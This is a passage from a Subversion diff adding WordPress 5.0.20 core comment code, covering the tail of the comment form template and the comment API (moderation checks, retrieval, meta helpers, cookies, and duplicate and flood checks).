+					} elseif ( ! is_user_logged_in() ) {
+
+						if ( $first_field === $name ) {
+							/**
+							 * Fires before the comment fields in the comment form, excluding the textarea.
+							 *
+							 * @since 3.0.0
+							 */
+							do_action( 'comment_form_before_fields' );
+						}
+
+						/**
+						 * Filters a comment form field for display.
+						 *
+						 * The dynamic portion of the filter hook, `$name`, refers to the name
+						 * of the comment form field. Such as 'author', 'email', or 'url'.
+						 *
+						 * @since 3.0.0
+						 *
+						 * @param string $field The HTML-formatted output of the comment form field.
+						 */
+						echo apply_filters( "comment_form_field_{$name}", $field ) . "\n";
+
+						if ( $last_field === $name ) {
+							/**
+							 * Fires after the comment fields in the comment form, excluding the textarea.
+							 *
+							 * @since 3.0.0
+							 */
+							do_action( 'comment_form_after_fields' );
+						}
+					}
+				}
+
+				$submit_button = sprintf(
+					$args['submit_button'],
+					esc_attr( $args['name_submit'] ),
+					esc_attr( $args['id_submit'] ),
+					esc_attr( $args['class_submit'] ),
+					esc_attr( $args['label_submit'] )
+				);
+
+				/**
+				 * Filters the submit button for the comment form to display.
+				 *
+				 * @since 4.2.0
+				 *
+				 * @param string $submit_button HTML markup for the submit button.
+				 * @param array  $args          Arguments passed to `comment_form()`.
+				 */
+				$submit_button = apply_filters( 'comment_form_submit_button', $submit_button, $args );
+
+				$submit_field = sprintf(
+					$args['submit_field'],
+					$submit_button,
+					get_comment_id_fields( $post_id )
+				);
+
+				/**
+				 * Filters the submit field for the comment form to display.
+				 *
+				 * The submit field includes the submit button, hidden fields for the
+				 * comment form, and any wrapper markup.
+				 *
+				 * @since 4.2.0
+				 *
+				 * @param string $submit_field HTML markup for the submit field.
+				 * @param array  $args         Arguments passed to comment_form().
+				 */
+				echo apply_filters( 'comment_form_submit_field', $submit_field, $args );
+
+				/**
+				 * Fires at the bottom of the comment form, inside the closing </form> tag.
+				 *
+				 * @since 1.5.0
+				 *
+				 * @param int $post_id The post ID.
+				 */
+				do_action( 'comment_form', $post_id );
+				?>
+			</form>
+		<?php endif; ?>
+	</div><!-- #respond -->
+	<?php
+
+	/**
+	 * Fires after the comment form.
+	 *
+	 * @since 3.0.0
+	 */
+	do_action( 'comment_form_after' );
+}
Index: /tags/5.0.20/src/wp-includes/comment.php
===================================================================
--- /tags/5.0.20/src/wp-includes/comment.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/comment.php	(revision 56912)
@@ -0,0 +1,3401 @@
+<?php
+/**
+ * Core Comment API
+ *
+ * @package WordPress
+ * @subpackage Comment
+ */
+
+/**
+ * Check whether a comment passes internal checks to be allowed to add.
+ *
+ * If manual comment moderation is set in the administration, then all checks,
+ * regardless of their type and whitelist, will fail and the function will
+ * return false.
+ *
+ * If the number of links exceeds the amount in the administration, then the
+ * check fails. If any of the parameter contents match the blacklist of words,
+ * then the check fails.
+ *
+ * If the comment author was approved before, then the comment is automatically
+ * whitelisted.
+ *
+ * If all checks pass, the function will return true.
+ *
+ * @since 1.2.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $author       Comment author name.
+ * @param string $email        Comment author email.
+ * @param string $url          Comment author URL.
+ * @param string $comment      Content of the comment.
+ * @param string $user_ip      Comment author IP address.
+ * @param string $user_agent   Comment author User-Agent.
+ * @param string $comment_type Comment type, either user-submitted comment,
+ *		                       trackback, or pingback.
+ * @return bool If all checks pass, true, otherwise false.
+ */
+function check_comment($author, $email, $url, $comment, $user_ip, $user_agent, $comment_type) {
+	global $wpdb;
+
+	// If manual moderation is enabled, skip all checks and return false.
+	if ( 1 == get_option('comment_moderation') )
+		return false;
+
+	/** This filter is documented in wp-includes/comment-template.php */
+	$comment = apply_filters( 'comment_text', $comment, null, array() );
+
+	// Check for the number of external links if a max allowed number is set.
+	if ( $max_links = get_option( 'comment_max_links' ) ) {
+		$num_links = preg_match_all( '/<a [^>]*href/i', $comment, $out );
+
+		/**
+		 * Filters the number of links found in a comment.
+		 *
+		 * @since 3.0.0
+		 * @since 4.7.0 Added the `$comment` parameter.
+		 *
+		 * @param int    $num_links The number of links found.
+		 * @param string $url       Comment author's URL. Included in allowed links total.
+		 * @param string $comment   Content of the comment.
+		 */
+		$num_links = apply_filters( 'comment_max_links_url', $num_links, $url, $comment );
+
+		/*
+		 * If the number of links in the comment exceeds the allowed amount,
+		 * fail the check by returning false.
+		 */
+		if ( $num_links >= $max_links )
+			return false;
+	}
+
+	$mod_keys = trim(get_option('moderation_keys'));
+
+	// If moderation 'keys' (keywords) are set, process them.
+	if ( !empty($mod_keys) ) {
+		$words = explode("\n", $mod_keys );
+
+		foreach ( (array) $words as $word) {
+			$word = trim($word);
+
+			// Skip empty lines.
+			if ( empty($word) )
+				continue;
+
+			/*
+			 * Do some escaping magic so that '#' (number of) characters in the spam
+			 * words don't break things:
+			 */
+			$word = preg_quote($word, '#');
+
+			/*
+			 * Check the comment fields for moderation keywords. If any are found,
+			 * fail the check for the given field by returning false.
+			 */
+			$pattern = "#$word#i";
+			if ( preg_match($pattern, $author) ) return false;
+			if ( preg_match($pattern, $email) ) return false;
+			if ( preg_match($pattern, $url) ) return false;
+			if ( preg_match($pattern, $comment) ) return false;
+			if ( preg_match($pattern, $user_ip) ) return false;
+			if ( preg_match($pattern, $user_agent) ) return false;
+		}
+	}
+
+	/*
+	 * Check if the option to approve comments by previously-approved authors is enabled.
+	 *
+	 * If it is enabled, check whether the comment author has a previously-approved comment,
+	 * as well as whether there are any moderation keywords (if set) present in the author
+	 * email address. If both checks pass, return true. Otherwise, return false.
+	 */
+	if ( 1 == get_option('comment_whitelist')) {
+		if ( 'trackback' != $comment_type && 'pingback' != $comment_type && $author != '' && $email != '' ) {
+			$comment_user = get_user_by( 'email', wp_unslash( $email ) );
+			if ( ! empty( $comment_user->ID ) ) {
+				$ok_to_comment = $wpdb->get_var( $wpdb->prepare( "SELECT comment_approved FROM $wpdb->comments WHERE user_id = %d AND comment_approved = '1' LIMIT 1", $comment_user->ID ) );
+			} else {
+				// expected_slashed ($author, $email)
+				$ok_to_comment = $wpdb->get_var( $wpdb->prepare( "SELECT comment_approved FROM $wpdb->comments WHERE comment_author = %s AND comment_author_email = %s and comment_approved = '1' LIMIT 1", $author, $email ) );
+			}
+			if ( ( 1 == $ok_to_comment ) &&
+				( empty($mod_keys) || false === strpos( $email, $mod_keys) ) )
+					return true;
+			else
+				return false;
+		} else {
+			return false;
+		}
+	}
+	return true;
+}
+
+/**
+ * Retrieve the approved comments for post $post_id.
+ *
+ * @since 2.0.0
+ * @since 4.1.0 Refactored to leverage WP_Comment_Query over a direct query.
+ *
+ * @param  int   $post_id The ID of the post.
+ * @param  array $args    Optional. See WP_Comment_Query::__construct() for information on accepted arguments.
+ * @return int|array $comments The approved comments, or number of comments if `$count`
+ *                             argument is true.
+ */
+function get_approved_comments( $post_id, $args = array() ) {
+	if ( ! $post_id ) {
+		return array();
+	}
+
+	$defaults = array(
+		'status'  => 1,
+		'post_id' => $post_id,
+		'order'   => 'ASC',
+	);
+	$r = wp_parse_args( $args, $defaults );
+
+	$query = new WP_Comment_Query;
+	return $query->query( $r );
+}
+
+/**
+ * Retrieves comment data given a comment ID or comment object.
+ *
+ * If an object is passed then the comment data will be cached and then returned
+ * after being passed through a filter. If the comment is empty, then the global
+ * comment variable will be used, if it is set.
+ *
+ * @since 2.0.0
+ *
+ * @global WP_Comment $comment
+ *
+ * @param WP_Comment|string|int $comment Comment to retrieve.
+ * @param string                $output  Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which correspond to
+ *                                       a WP_Comment object, an associative array, or a numeric array, respectively. Default OBJECT.
+ * @return WP_Comment|array|null Depends on $output value.
+ */
+function get_comment( &$comment = null, $output = OBJECT ) {
+	if ( empty( $comment ) && isset( $GLOBALS['comment'] ) ) {
+		$comment = $GLOBALS['comment'];
+	}
+
+	if ( $comment instanceof WP_Comment ) {
+		$_comment = $comment;
+	} elseif ( is_object( $comment ) ) {
+		$_comment = new WP_Comment( $comment );
+	} else {
+		$_comment = WP_Comment::get_instance( $comment );
+	}
+
+	if ( ! $_comment ) {
+		return null;
+	}
+
+	/**
+	 * Fires after a comment is retrieved.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param mixed $_comment Comment data.
+	 */
+	$_comment = apply_filters( 'get_comment', $_comment );
+
+	if ( $output == OBJECT ) {
+		return $_comment;
+	} elseif ( $output == ARRAY_A ) {
+		return $_comment->to_array();
+	} elseif ( $output == ARRAY_N ) {
+		return array_values( $_comment->to_array() );
+	}
+	return $_comment;
+}
+
+/**
+ * Retrieve a list of comments.
+ *
+ * The comment list can be for the blog as a whole or for an individual post.
+ *
+ * @since 2.7.0
+ *
+ * @param string|array $args Optional. Array or string of arguments. See WP_Comment_Query::__construct()
+ *                           for information on accepted arguments. Default empty.
+ * @return int|array List of comments or number of found comments if `$count` argument is true.
+ */
+function get_comments( $args = '' ) {
+	$query = new WP_Comment_Query;
+	return $query->query( $args );
+}
+
+/**
+ * Retrieve all of the WordPress supported comment statuses.
+ *
+ * Comments have a limited set of valid status values, this provides the comment
+ * status values and descriptions.
+ *
+ * @since 2.7.0
+ *
+ * @return array List of comment statuses.
+ */
+function get_comment_statuses() {
+	$status = array(
+		'hold'		=> __( 'Unapproved' ),
+		'approve'	=> _x( 'Approved', 'comment status' ),
+		'spam'		=> _x( 'Spam', 'comment status' ),
+		'trash'		=> _x( 'Trash', 'comment status' ),
+	);
+
+	return $status;
+}
+
+/**
+ * Gets the default comment status for a post type.
+ *
+ * @since 4.3.0
+ *
+ * @param string $post_type    Optional. Post type. Default 'post'.
+ * @param string $comment_type Optional. Comment type. Default 'comment'.
+ * @return string Expected return value is 'open' or 'closed'.
+ */
+function get_default_comment_status( $post_type = 'post', $comment_type = 'comment' ) {
+	switch ( $comment_type ) {
+		case 'pingback' :
+		case 'trackback' :
+			$supports = 'trackbacks';
+			$option = 'ping';
+			break;
+		default :
+			$supports = 'comments';
+			$option = 'comment';
+	}
+
+	// Set the status.
+	if ( 'page' === $post_type ) {
+		$status = 'closed';
+	} elseif ( post_type_supports( $post_type, $supports ) ) {
+		$status = get_option( "default_{$option}_status" );
+	} else {
+		$status = 'closed';
+	}
+
+	/**
+	 * Filters the default comment status for the given post type.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param string $status       Default status for the given post type,
+	 *                             either 'open' or 'closed'.
+	 * @param string $post_type    Post type. Default is `post`.
+	 * @param string $comment_type Type of comment. Default is `comment`.
+	 */
+	return apply_filters( 'get_default_comment_status' , $status, $post_type, $comment_type );
+}
+
+/**
+ * The date the last comment was modified.
+ *
+ * @since 1.5.0
+ * @since 4.7.0 Replaced caching the modified date in a local static variable
+ *              with the Object Cache API.
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $timezone Which timezone to use in reference to 'gmt', 'blog', or 'server' locations.
+ * @return string|false Last comment modified date on success, false on failure.
+ */
+function get_lastcommentmodified( $timezone = 'server' ) {
+	global $wpdb;
+
+	$timezone = strtolower( $timezone );
+	$key = "lastcommentmodified:$timezone";
+
+	$comment_modified_date = wp_cache_get( $key, 'timeinfo' );
+	if ( false !== $comment_modified_date ) {
+		return $comment_modified_date;
+	}
+
+	switch ( $timezone ) {
+		case 'gmt':
+			$comment_modified_date = $wpdb->get_var( "SELECT comment_date_gmt FROM $wpdb->comments WHERE comment_approved = '1' ORDER BY comment_date_gmt DESC LIMIT 1" );
+			break;
+		case 'blog':
+			$comment_modified_date = $wpdb->get_var( "SELECT comment_date FROM $wpdb->comments WHERE comment_approved = '1' ORDER BY comment_date_gmt DESC LIMIT 1" );
+			break;
+		case 'server':
+			$add_seconds_server = date( 'Z' );
+
+			$comment_modified_date = $wpdb->get_var( $wpdb->prepare( "SELECT DATE_ADD(comment_date_gmt, INTERVAL %s SECOND) FROM $wpdb->comments WHERE comment_approved = '1' ORDER BY comment_date_gmt DESC LIMIT 1", $add_seconds_server ) );
+			break;
+	}
+
+	if ( $comment_modified_date ) {
+		wp_cache_set( $key, $comment_modified_date, 'timeinfo' );
+
+		return $comment_modified_date;
+	}
+
+	return false;
+}
+
+/**
+ * The amount of comments in a post or total comments.
+ *
+ * A lot like wp_count_comments(), in that they both return comment stats (albeit with different types).
+ * The wp_count_comments() actually caches, but this function does not.
+ *
+ * @since 2.0.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int $post_id Optional. Comment amount in post if > 0, else total comments blog wide.
+ * @return array The amount of spam, approved, awaiting moderation, and total comments.
+ */
+function get_comment_count( $post_id = 0 ) {
+	global $wpdb;
+
+	$post_id = (int) $post_id;
+
+	$where = '';
+	if ( $post_id > 0 ) {
+		$where = $wpdb->prepare("WHERE comment_post_ID = %d", $post_id);
+	}
+
+	$totals = (array) $wpdb->get_results("
+		SELECT comment_approved, COUNT( * ) AS total
+		FROM {$wpdb->comments}
+		{$where}
+		GROUP BY comment_approved
+	", ARRAY_A);
+
+	$comment_count = array(
+		'approved'            => 0,
+		'awaiting_moderation' => 0,
+		'spam'                => 0,
+		'trash'               => 0,
+		'post-trashed'        => 0,
+		'total_comments'      => 0,
+		'all'                 => 0,
+	);
+
+	foreach ( $totals as $row ) {
+		switch ( $row['comment_approved'] ) {
+			case 'trash':
+				$comment_count['trash'] = $row['total'];
+				break;
+			case 'post-trashed':
+				$comment_count['post-trashed'] = $row['total'];
+				break;
+			case 'spam':
+				$comment_count['spam'] = $row['total'];
+				$comment_count['total_comments'] += $row['total'];
+				break;
+			case '1':
+				$comment_count['approved'] = $row['total'];
+				$comment_count['total_comments'] += $row['total'];
+				$comment_count['all'] += $row['total'];
+				break;
+			case '0':
+				$comment_count['awaiting_moderation'] = $row['total'];
+				$comment_count['total_comments'] += $row['total'];
+				$comment_count['all'] += $row['total'];
+				break;
+			default:
+				break;
+		}
+	}
+
+	return $comment_count;
+}
+
+//
+// Comment meta functions
+//
+
+/**
+ * Add meta data field to a comment.
+ *
+ * @since 2.9.0
+ * @link https://codex.wordpress.org/Function_Reference/add_comment_meta
+ *
+ * @param int $comment_id Comment ID.
+ * @param string $meta_key Metadata name.
+ * @param mixed $meta_value Metadata value.
+ * @param bool $unique Optional, default is false. Whether the same key should not be added.
+ * @return int|bool Meta ID on success, false on failure.
+ */
+function add_comment_meta( $comment_id, $meta_key, $meta_value, $unique = false ) {
+	return add_metadata( 'comment', $comment_id, $meta_key, $meta_value, $unique );
+}
+
+/**
+ * Remove metadata matching criteria from a comment.
+ *
+ * You can match based on the key, or key and value. Removing based on key and
+ * value, will keep from removing duplicate metadata with the same key. It also
+ * allows removing all metadata matching key, if needed.
+ *
+ * @since 2.9.0
+ * @link https://codex.wordpress.org/Function_Reference/delete_comment_meta
+ *
+ * @param int $comment_id comment ID
+ * @param string $meta_key Metadata name.
+ * @param mixed $meta_value Optional. Metadata value.
+ * @return bool True on success, false on failure.
+ */
+function delete_comment_meta( $comment_id, $meta_key, $meta_value = '' ) {
+	return delete_metadata( 'comment', $comment_id, $meta_key, $meta_value );
+}
+
+/**
+ * Retrieve comment meta field for a comment.
+ *
+ * @since 2.9.0
+ * @link https://codex.wordpress.org/Function_Reference/get_comment_meta
+ *
+ * @param int $comment_id Comment ID.
+ * @param string $key Optional. The meta key to retrieve. By default, returns data for all keys.
+ * @param bool $single Whether to return a single value.
+ * @return mixed Will be an array if $single is false. Will be value of meta data field if $single
+ *  is true.
+ */
+function get_comment_meta( $comment_id, $key = '', $single = false ) {
+	return get_metadata( 'comment', $comment_id, $key, $single );
+}
+
+/**
+ * Update comment meta field based on comment ID.
+ *
+ * Use the $prev_value parameter to differentiate between meta fields with the
+ * same key and comment ID.
+ *
+ * If the meta field for the comment does not exist, it will be added.
+ *
+ * @since 2.9.0
+ * @link https://codex.wordpress.org/Function_Reference/update_comment_meta
+ *
+ * @param int $comment_id Comment ID.
+ * @param string $meta_key Metadata key.
+ * @param mixed $meta_value Metadata value.
+ * @param mixed $prev_value Optional. Previous value to check before removing.
+ * @return int|bool Meta ID if the key didn't exist, true on successful update, false on failure.
+ */
+function update_comment_meta( $comment_id, $meta_key, $meta_value, $prev_value = '' ) {
+	return update_metadata( 'comment', $comment_id, $meta_key, $meta_value, $prev_value );
+}
+
+/**
+ * Queues comments for metadata lazy-loading.
+ *
+ * @since 4.5.0
+ *
+ * @param array $comments Array of comment objects.
+ */
+function wp_queue_comments_for_comment_meta_lazyload( $comments ) {
+	// Don't use `wp_list_pluck()` to avoid by-reference manipulation.
+	$comment_ids = array();
+	if ( is_array( $comments ) ) {
+		foreach ( $comments as $comment ) {
+			if ( $comment instanceof WP_Comment ) {
+				$comment_ids[] = $comment->comment_ID;
+			}
+		}
+	}
+
+	if ( $comment_ids ) {
+		$lazyloader = wp_metadata_lazyloader();
+		$lazyloader->queue_objects( 'comment', $comment_ids );
+	}
+}
+
+/**
+ * Sets the cookies used to store an unauthenticated commentator's identity. Typically used
+ * to recall previous comments by this commentator that are still held in moderation.
+ *
+ * @since 3.4.0
+ * @since 4.9.6 The `$cookies_consent` parameter was added.
+ *
+ * @param WP_Comment $comment         Comment object.
+ * @param WP_User    $user            Comment author's user object. The user may not exist.
+ * @param boolean    $cookies_consent Optional. Comment author's consent to store cookies. Default true.
+ */
+function wp_set_comment_cookies( $comment, $user, $cookies_consent = true ) {
+	// If the user already exists, or the user opted out of cookies, don't set cookies.
+	if ( $user->exists() ) {
+		return;
+	}
+
+	if ( false === $cookies_consent ) {
+		// Remove any existing cookies.
+		$past = time() - YEAR_IN_SECONDS;
+		setcookie( 'comment_author_' . COOKIEHASH, ' ', $past, COOKIEPATH, COOKIE_DOMAIN );
+		setcookie( 'comment_author_email_' . COOKIEHASH, ' ', $past, COOKIEPATH, COOKIE_DOMAIN );
+		setcookie( 'comment_author_url_' . COOKIEHASH, ' ', $past, COOKIEPATH, COOKIE_DOMAIN );
+
+		return;
+	}
+
+	/**
+	 * Filters the lifetime of the comment cookie in seconds.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param int $seconds Comment cookie lifetime. Default 30000000.
+	 */
+	$comment_cookie_lifetime = time() + apply_filters( 'comment_cookie_lifetime', 30000000 );
+	$secure = ( 'https' === parse_url( home_url(), PHP_URL_SCHEME ) );
+	setcookie( 'comment_author_' . COOKIEHASH, $comment->comment_author, $comment_cookie_lifetime, COOKIEPATH, COOKIE_DOMAIN, $secure );
+	setcookie( 'comment_author_email_' . COOKIEHASH, $comment->comment_author_email, $comment_cookie_lifetime, COOKIEPATH, COOKIE_DOMAIN, $secure );
+	setcookie( 'comment_author_url_' . COOKIEHASH, esc_url( $comment->comment_author_url ), $comment_cookie_lifetime, COOKIEPATH, COOKIE_DOMAIN, $secure );
+}
+
+/**
+ * Sanitizes the cookies sent to the user already.
+ *
+ * Will only do anything if the cookies have already been created for the user.
+ * Mostly used after cookies had been sent to use elsewhere.
+ *
+ * @since 2.0.4
+ */
+function sanitize_comment_cookies() {
+	if ( isset( $_COOKIE['comment_author_' . COOKIEHASH] ) ) {
+		/**
+		 * Filters the comment author's name cookie before it is set.
+		 *
+		 * When this filter hook is evaluated in wp_filter_comment(),
+		 * the comment author's name string is passed.
+		 *
+		 * @since 1.5.0
+		 *
+		 * @param string $author_cookie The comment author name cookie.
+		 */
+		$comment_author = apply_filters( 'pre_comment_author_name', $_COOKIE['comment_author_' . COOKIEHASH] );
+		$comment_author = wp_unslash($comment_author);
+		$comment_author = esc_attr($comment_author);
+		$_COOKIE['comment_author_' . COOKIEHASH] = $comment_author;
+	}
+
+	if ( isset( $_COOKIE['comment_author_email_' . COOKIEHASH] ) ) {
+		/**
+		 * Filters the comment author's email cookie before it is set.
+		 *
+		 * When this filter hook is evaluated in wp_filter_comment(),
+		 * the comment author's email string is passed.
+		 *
+		 * @since 1.5.0
+		 *
+		 * @param string $author_email_cookie The comment author email cookie.
+		 */
+		$comment_author_email = apply_filters( 'pre_comment_author_email', $_COOKIE['comment_author_email_' . COOKIEHASH] );
+		$comment_author_email = wp_unslash($comment_author_email);
+		$comment_author_email = esc_attr($comment_author_email);
+		$_COOKIE['comment_author_email_'.COOKIEHASH] = $comment_author_email;
+	}
+
+	if ( isset( $_COOKIE['comment_author_url_' . COOKIEHASH] ) ) {
+		/**
+		 * Filters the comment author's URL cookie before it is set.
+		 *
+		 * When this filter hook is evaluated in wp_filter_comment(),
+		 * the comment author's URL string is passed.
+		 *
+		 * @since 1.5.0
+		 *
+		 * @param string $author_url_cookie The comment author URL cookie.
+		 */
+		$comment_author_url = apply_filters( 'pre_comment_author_url', $_COOKIE['comment_author_url_' . COOKIEHASH] );
+		$comment_author_url = wp_unslash($comment_author_url);
+		$_COOKIE['comment_author_url_'.COOKIEHASH] = $comment_author_url;
+	}
+}
+
+/**
+ * Validates whether this comment is allowed to be made.
+ *
+ * @since 2.0.0
+ * @since 4.7.0 The `$avoid_die` parameter was added, allowing the function to
+ *              return a WP_Error object instead of dying.
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param array $commentdata Contains information on the comment.
+ * @param bool  $avoid_die   When true, a disallowed comment will result in the function
+ *                           returning a WP_Error object, rather than executing wp_die().
+ *                           Default false.
+ * @return int|string|WP_Error Allowed comments return the approval status (0|1|'spam').
+ *                             If `$avoid_die` is true, disallowed comments return a WP_Error.
+ */
+function wp_allow_comment( $commentdata, $avoid_die = false ) {
+	global $wpdb;
+
+	// Simple duplicate check
+	// expected_slashed ($comment_post_ID, $comment_author, $comment_author_email, $comment_content)
+	$dupe = $wpdb->prepare(
+		"SELECT comment_ID FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_parent = %s AND comment_approved != 'trash' AND ( comment_author = %s ",
+		wp_unslash( $commentdata['comment_post_ID'] ),
+		wp_unslash( $commentdata['comment_parent'] ),
+		wp_unslash( $commentdata['comment_author'] )
+	);
+	if ( $commentdata['comment_author_email'] ) {
+		$dupe .= $wpdb->prepare(
+			"AND comment_author_email = %s ",
+			wp_unslash( $commentdata['comment_author_email'] )
+		);
+	}
+	$dupe .= $wpdb->prepare(
+		") AND comment_content = %s LIMIT 1",
+		wp_unslash( $commentdata['comment_content'] )
+	);
+
+	$dupe_id = $wpdb->get_var( $dupe );
+
+	/**
+	 * Filters the ID, if any, of the duplicate comment found when creating a new comment.
+	 *
+	 * Return an empty value from this filter to allow what WP considers a duplicate comment.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param int   $dupe_id     ID of the comment identified as a duplicate.
+	 * @param array $commentdata Data for the comment being created.
+	 */
+	$dupe_id = apply_filters( 'duplicate_comment_id', $dupe_id, $commentdata );
+
+	if ( $dupe_id ) {
+		/**
+		 * Fires immediately after a duplicate comment is detected.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param array $commentdata Comment data.
+		 */
+		do_action( 'comment_duplicate_trigger', $commentdata );
+		if ( true === $avoid_die ) {
+			return new WP_Error( 'comment_duplicate', __( 'Duplicate comment detected; it looks as though you&#8217;ve already said that!' ), 409 );
+		} else {
+			if ( wp_doing_ajax() ) {
+				die( __('Duplicate comment detected; it looks as though you&#8217;ve already said that!') );
+			}
+
+			wp_die( __( 'Duplicate comment detected; it looks as though you&#8217;ve already said that!' ), 409 );
+		}
+	}
+
+	/**
+	 * Fires immediately before a comment is marked approved.
+	 *
+	 * Allows checking for comment flooding.
+	 *
+	 * @since 2.3.0
+	 * @since 4.7.0 The `$avoid_die` parameter was added.
+	 *
+	 * @param string $comment_author_IP    Comment author's IP address.
+	 * @param string $comment_author_email Comment author's email.
+	 * @param string $comment_date_gmt     GMT date the comment was posted.
+	 * @param bool   $avoid_die            Whether to prevent executing wp_die()
+	 *                                     or die() if a comment flood is occurring.
+	 */
+	do_action(
+		'check_comment_flood',
+		$commentdata['comment_author_IP'],
+		$commentdata['comment_author_email'],
+		$commentdata['comment_date_gmt'],
+		$avoid_die
+	);
+
+	/**
+	 * Filters whether a comment is part of a comment flood.
+	 *
+	 * The default check is wp_check_comment_flood(). See check_comment_flood_db().
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param bool   $is_flood             Is a comment flooding occurring? Default false.
+	 * @param string $comment_author_IP    Comment author's IP address.
+	 * @param string $comment_author_email Comment author's email.
+	 * @param string $comment_date_gmt     GMT date the comment was posted.
+	 * @param bool   $avoid_die            Whether to prevent executing wp_die()
+	 *                                     or die() if a comment flood is occurring.
+	 */
+	$is_flood = apply_filters(
+		'wp_is_comment_flood',
+		false,
+		$commentdata['comment_author_IP'],
+		$commentdata['comment_author_email'],
+		$commentdata['comment_date_gmt'],
+		$avoid_die
+	);
+
+	if ( $is_flood ) {
+		return new WP_Error( 'comment_flood', __( 'You are posting comments too quickly. Slow down.' ), 429 );
+	}
+
+	if ( ! empty( $commentdata['user_id'] ) ) {
+		$user = get_userdata( $commentdata['user_id'] );
+		$post_author = $wpdb->get_var( $wpdb->prepare(
+			"SELECT post_author FROM $wpdb->posts WHERE ID = %d LIMIT 1",
+			$commentdata['comment_post_ID']
+		) );
+	}
+
+	if ( isset( $user ) && ( $commentdata['user_id'] == $post_author || $user->has_cap( 'moderate_comments' ) ) ) {
+		// The author and the admins get respect.
+		$approved = 1;
+	} else {
+		// Everyone else's comments will be checked.
+		if ( check_comment(
+			$commentdata['comment_author'],
+			$commentdata['comment_author_email'],
+			$commentdata['comment_author_url'],
+			$commentdata['comment_content'],
+			$commentdata['comment_author_IP'],
+			$commentdata['comment_agent'],
+			$commentdata['comment_type']
+		) ) {
+			$approved = 1;
+		} else {
+			$approved = 0;
+		}
+
+		if ( wp_blacklist_check(
+			$commentdata['comment_author'],
+			$commentdata['comment_author_email'],
+			$commentdata['comment_author_url'],
+			$commentdata['comment_content'],
+			$commentdata['comment_author_IP'],
+			$commentdata['comment_agent']
+		) ) {
+			$approved = EMPTY_TRASH_DAYS ? 'trash' : 'spam';
+		}
+	}
+
+	/**
+	 * Filters a comment's approval status before it is set.
+	 *
+	 * @since 2.1.0
+	 * @since 4.9.0 Returning a WP_Error value from the filter will shortcircuit comment insertion and
+	 *              allow skipping further processing.
+	 *
+	 * @param bool|string|WP_Error $approved    The approval status. Accepts 1, 0, 'spam' or WP_Error.
+	 * @param array                $commentdata Comment data.
+	 */
+	$approved = apply_filters( 'pre_comment_approved', $approved, $commentdata );
+	return $approved;
+}
+
+/**
+ * Hooks WP's native database-based comment-flood check.
+ *
+ * This wrapper maintains backward compatibility with plugins that expect to
+ * be able to unhook the legacy check_comment_flood_db() function from
+ * 'check_comment_flood' using remove_action().
+ *
+ * @since 2.3.0
+ * @since 4.7.0 Converted to be an add_filter() wrapper.
+ */
+function check_comment_flood_db() {
+	add_filter( 'wp_is_comment_flood', 'wp_check_comment_flood', 10, 5 );
+}
+
+/**
+ * Checks whether comment flooding is occurring.
+ *
+ * Won't run, if current user can manage options, so to not block
+ * administrators.
+ *
+ * @since 4.7.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param bool   $is_flood  Is a comment flooding occurring?
+ * @param string $ip        Comment author's IP address.
+ * @param string $email     Comment author's email address.
+ * @param string $date      MySQL time string.
+ * @param bool   $avoid_die When true, a disallowed comment will result in the function
+ *                          returning a WP_Error object, rather than executing wp_die().
+ *                          Default false.
+ * @return bool Whether comment flooding is occurring.
+ */
+function wp_check_comment_flood( $is_flood, $ip, $email, $date, $avoid_die = false ) {
+
+	global $wpdb;
+
+	// Another callback has declared a flood. Trust it.
+	if ( true === $is_flood ) {
+		return $is_flood;
+	}
+
+	// don't throttle admins or moderators
+	if ( current_user_can( 'manage_options' ) || current_user_can( 'moderate_comments' ) ) {
+		return false;
+	}
+	$hour_ago = gmdate( 'Y-m-d H:i:s', time() - HOUR_IN_SECONDS );
+
+	if ( is_user_logged_in() ) {
+		$user = get_current_user_id();
+		$check_column = '`user_id`';
+	} else {
+		$user = $ip;
+		$check_column = '`comment_author_IP`';
+	}
+
+	$sql = $wpdb->prepare(
+		"SELECT `comment_date_gmt` FROM `$wpdb->comments` WHERE `comment_date_gmt` >= %s AND ( $check_column = %s OR `comment_author_email` = %s ) ORDER BY `comment_date_gmt` DESC LIMIT 1",
+		$hour_ago,
+		$user,
+		$email
+	);
+	$lasttime = $wpdb->get_var( $sql );
+	if ( $lasttime ) {
+		$time_lastcomment = mysql2date('U', $lasttime, false);
+		$time_newcomment  = mysql2date('U', $date, false);
+		/**
+		 * Filters the comment flood status.
+		 *
+		 * @since 2.1.0
+		 *
+		 * @param bool $bool             Whether a comment flood is occurring. Default false.
+		 * @param int  $time_lastcomment Timestamp of when the last comment was posted.
+		 * @param int  $time_newcomment  Timestamp of when the new comment was posted.
+		 */
+		$flood_die = apply_filters( 'comment_flood_filter', false, $time_lastcomment, $time_newcomment );
+		if ( $flood_die ) {
+			/**
+			 * Fires before the comment flood message is triggered.
+			 *
+			 * @since 1.5.0
+			 *
+			 * @param int $time_lastcomment Timestamp of when the last comment was posted.
+			 * @param int $time_newcomment  Timestamp of when the new comment was posted.
+			 */
+			do_action( 'comment_flood_trigger', $time_lastcomment, $time_newcomment );
+			if ( true === $avoid_die ) {
+				return true;
+			} else {
+				if ( wp_doing_ajax() ) {
+					die( __('You are posting comments too quickly. Slow down.') );
+				}
+
+				wp_die( __( 'You are posting comments too quickly. Slow down.' ), 429 );
+			}
+		}
+	}
+
+	return false;
+}
+
+/**
+ * Separates an array of comments into an array keyed by comment_type.
+ *
+ * @since 2.7.0
+ *
+ * @param array $comments Array of comments
+ * @return array Array of comments keyed by comment_type.
+ */
+function separate_comments(&$comments) {
+	$comments_by_type = array('comment' => array(), 'trackback' => array(), 'pingback' => array(), 'pings' => array());
+	$count = count($comments);
+	for ( $i = 0; $i < $count; $i++ ) {
+		$type = $comments[$i]->comment_type;
+		if ( empty($type) )
